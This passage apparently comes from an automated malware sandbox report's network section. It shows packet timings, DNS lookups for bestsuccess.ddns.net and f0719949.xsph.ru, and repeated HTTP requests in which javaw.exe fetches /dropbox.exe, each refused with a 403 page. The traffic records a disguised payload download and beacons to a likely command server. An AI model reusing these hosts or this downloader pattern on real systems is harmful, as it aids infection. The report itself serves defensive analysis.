                                        Sep 20, 2022 03:42:34.035053015 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:34.035291910 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:34.035398006 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:34.036649942 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:34.037058115 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:34.038069963 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:34.374969959 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:34.375016928 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:34.375036955 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:39.049174070 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:39.049391031 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:39.049422026 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:39.056399107 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:39.056564093 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:39.057019949 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:39.374950886 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:39.374995947 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:39.375025034 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:44.071336985 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:44.071417093 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:44.071444988 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:44.072129011 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:44.072649956 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:44.073252916 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:44.375050068 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:44.375097990 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:44.375125885 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:49.197205067 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:49.197380066 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:49.197410107 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:49.198440075 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:49.199917078 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:49.200814962 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:49.374859095 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:49.374954939 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:49.375077009 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:54.213182926 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:54.213593960 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:54.213628054 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:54.214477062 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:54.215509892 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:54.217046976 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:54.374854088 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:54.562907934 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:54.562954903 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:59.213546991 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:59.213727951 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:59.213932991 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:59.214054108 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:59.214420080 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:59.215049028 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:42:59.374984980 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:59.376071930 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:42:59.376107931 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:04.220941067 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:04.220983028 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:04.221453905 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:43:04.221504927 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:43:04.223467112 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:04.223896980 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:43:04.562360048 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:04.562410116 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:04.562438011 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:09.235488892 CEST544549710194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:09.235528946 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:09.235557079 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:09.235958099 CEST497105445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:43:09.236098051 CEST497165445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:43:09.236313105 CEST497145445192.168.2.3194.5.98.141
                                        Sep 20, 2022 03:43:09.563905001 CEST544549714194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:09.563946962 CEST544549716194.5.98.141192.168.2.3
                                        Sep 20, 2022 03:43:09.563975096 CEST544549710194.5.98.141192.168.2.3

                                        UDP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Sep 20, 2022 03:41:03.037198067 CEST5238753192.168.2.38.8.8.8
                                        Sep 20, 2022 03:41:03.058568001 CEST53523878.8.8.8192.168.2.3
                                        Sep 20, 2022 03:41:03.726218939 CEST5692453192.168.2.38.8.8.8
                                        Sep 20, 2022 03:41:03.746073008 CEST53569248.8.8.8192.168.2.3
                                        Sep 20, 2022 03:41:13.899866104 CEST4930253192.168.2.38.8.8.8
                                        Sep 20, 2022 03:41:13.919595957 CEST53493028.8.8.8192.168.2.3
                                        Sep 20, 2022 03:41:14.583553076 CEST5397553192.168.2.38.8.8.8
                                        Sep 20, 2022 03:41:14.605056047 CEST53539758.8.8.8192.168.2.3
                                        Sep 20, 2022 03:41:20.454967022 CEST5113953192.168.2.38.8.8.8
                                        Sep 20, 2022 03:41:20.473025084 CEST53511398.8.8.8192.168.2.3
                                        Sep 20, 2022 03:41:21.317512989 CEST5295553192.168.2.38.8.8.8
                                        Sep 20, 2022 03:41:21.337286949 CEST53529558.8.8.8192.168.2.3

                                        DNS Queries

                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                        Sep 20, 2022 03:41:03.037198067 CEST192.168.2.38.8.8.80x5ebdStandard query (0)bestsuccess.ddns.netA (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:03.726218939 CEST192.168.2.38.8.8.80x6198Standard query (0)f0719949.xsph.ruA (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:13.899866104 CEST192.168.2.38.8.8.80x4565Standard query (0)bestsuccess.ddns.netA (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:14.583553076 CEST192.168.2.38.8.8.80xb435Standard query (0)f0719949.xsph.ruA (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:20.454967022 CEST192.168.2.38.8.8.80x2958Standard query (0)bestsuccess.ddns.netA (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:21.317512989 CEST192.168.2.38.8.8.80xf367Standard query (0)f0719949.xsph.ruA (IP address)IN (0x0001)false

                                        DNS Answers

                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                        Sep 20, 2022 03:41:03.058568001 CEST8.8.8.8192.168.2.30x5ebdNo error (0)bestsuccess.ddns.net194.5.98.141A (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:03.746073008 CEST8.8.8.8192.168.2.30x6198No error (0)f0719949.xsph.ru141.8.192.151A (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:13.919595957 CEST8.8.8.8192.168.2.30x4565No error (0)bestsuccess.ddns.net194.5.98.141A (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:14.605056047 CEST8.8.8.8192.168.2.30xb435No error (0)f0719949.xsph.ru141.8.192.151A (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:20.473025084 CEST8.8.8.8192.168.2.30x2958No error (0)bestsuccess.ddns.net194.5.98.141A (IP address)IN (0x0001)false
                                        Sep 20, 2022 03:41:21.337286949 CEST8.8.8.8192.168.2.30xf367No error (0)f0719949.xsph.ru141.8.192.151A (IP address)IN (0x0001)false

                                        HTTP Request Dependency Graph

                                        • f0719949.xsph.ru

                                        HTTP Packets

                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        0192.168.2.349711141.8.192.15180C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
                                        TimestampkBytes transferredDirectionData
                                        Sep 20, 2022 03:41:03.832089901 CEST98OUTGET /dropbox.exe HTTP/1.1
                                        User-Agent: Java/1.8.0_211
                                        Host: f0719949.xsph.ru
                                        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
                                        Connection: keep-alive
                                        Sep 20, 2022 03:41:03.917372942 CEST100INHTTP/1.1 403 Forbidden
                                        Server: openresty
                                        Date: Tue, 20 Sep 2022 01:41:03 GMT
                                        Content-Type: text/html
                                        Transfer-Encoding: chunked
                                        Connection: keep-alive
                                        Vary: Accept-Encoding
                                        Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74
                                        Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
                                        Sep 20, 2022 03:41:03.917427063 CEST101INData Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61
                                        Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
                                        Sep 20, 2022 03:41:03.917494059 CEST102INData Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d
                                        Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
                                        Sep 20, 2022 03:41:03.917535067 CEST104INData Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70
                                        Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
                                        Sep 20, 2022 03:41:03.917573929 CEST105INData Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c
                                        Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
                                        Sep 20, 2022 03:41:03.917613983 CEST106INData Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34
                                        Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
                                        Sep 20, 2022 03:41:03.917654037 CEST108INData Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35
                                        Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
                                        Sep 20, 2022 03:41:03.917694092 CEST109INData Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30
                                        Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
                                        Sep 20, 2022 03:41:03.917731047 CEST111INData Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33
                                        Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
                                        Sep 20, 2022 03:41:03.917768955 CEST112INData Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31
                                        Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
                                        Sep 20, 2022 03:41:03.979067087 CEST113INData Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31
                                        Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        1192.168.2.349715141.8.192.15180C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
                                        TimestampkBytes transferredDirectionData
                                        Sep 20, 2022 03:41:14.676522017 CEST169OUTGET /dropbox.exe HTTP/1.1
                                        User-Agent: Java/1.8.0_211
                                        Host: f0719949.xsph.ru
                                        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
                                        Connection: keep-alive
                                        Sep 20, 2022 03:41:14.738178015 CEST170INHTTP/1.1 403 Forbidden
                                        Server: openresty
                                        Date: Tue, 20 Sep 2022 01:41:14 GMT
                                        Content-Type: text/html
                                        Transfer-Encoding: chunked
                                        Connection: keep-alive
                                        Vary: Accept-Encoding
                                        Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 